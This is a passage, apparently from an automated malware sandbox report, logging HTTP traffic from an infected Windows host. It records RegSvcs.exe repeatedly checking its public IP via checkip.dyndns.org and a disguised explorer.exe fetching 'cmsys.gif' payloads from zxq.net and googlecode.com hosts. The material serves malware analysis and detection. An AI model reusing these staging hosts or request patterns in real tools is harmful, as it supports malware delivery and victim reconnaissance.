72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:08:05.653501987 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49712	132.226.247.73	80	5568	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:08:05.442732096 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 29, 2024 13:08:06.304658890 CET	323	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:06 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 3129d228e330bfe2158a046ae6e4c9f8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.72</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49714	132.226.247.73	80	5568	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:08:07.222213984 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 29, 2024 13:08:08.076831102 CET	323	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:07 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: efbf530d91fef047c06d1a78d16d860e Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.72</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49716	51.81.194.202	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:08:08.783024073 CET	201	OUT	GET /cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.zxq.net Connection: Keep-Alive
Oct 29, 2024 13:08:09.683345079 CET	1024	IN	HTTP/1.1 301 Moved Permanently Connection: Keep-Alive Keep-Alive: timeout=5, max=100 content-type: text/html content-length: 795 date: Tue, 29 Oct 2024 12:08:09 GMT server: LiteSpeed location: https://zxq.net/cmsys.gif Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49717	132.226.247.73	80	5568	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:08:08.851825953 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 29, 2024 13:08:09.719826937 CET	323	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:09 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: a09459cfa6b9f7e582768fed10cd3b6e Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.72</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49720	132.226.247.73	80	5568	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:08:10.487533092 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 29, 2024 13:08:11.356174946 CET	323	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:11 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 90ef1d485770a9cee9c7fb02aec60311 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.72</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49723	132.226.247.73	80	5568	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:08:12.849620104 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 29, 2024 13:08:13.697343111 CET	323	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:13 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: fe89e2a58795013ce33bdeb73b27149d Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.72</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49728	132.226.247.73	80	5568	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:08:15.097336054 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Oct 29, 2024 13:08:16.070477962 CET	323	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:15 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: aaa14206e4180e2261e64723b08c370f Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.72</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49727	64.233.166.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:08:15.124034882 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:08:16.070614100 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:08:15 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:08:16.070650101 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15
Oct 29, 2024 13:08:16.070702076 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49734	108.177.15.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:08:18.332638025 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:08:19.652615070 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:08:19 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:08:19.652650118 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15
Oct 29, 2024 13:08:19.652708054 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15
Oct 29, 2024 13:08:19.652791023 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:08:19 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:08:19.888104916 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49746	142.251.168.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:08:21.297535896 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:08:22.222368002 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:08:22 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
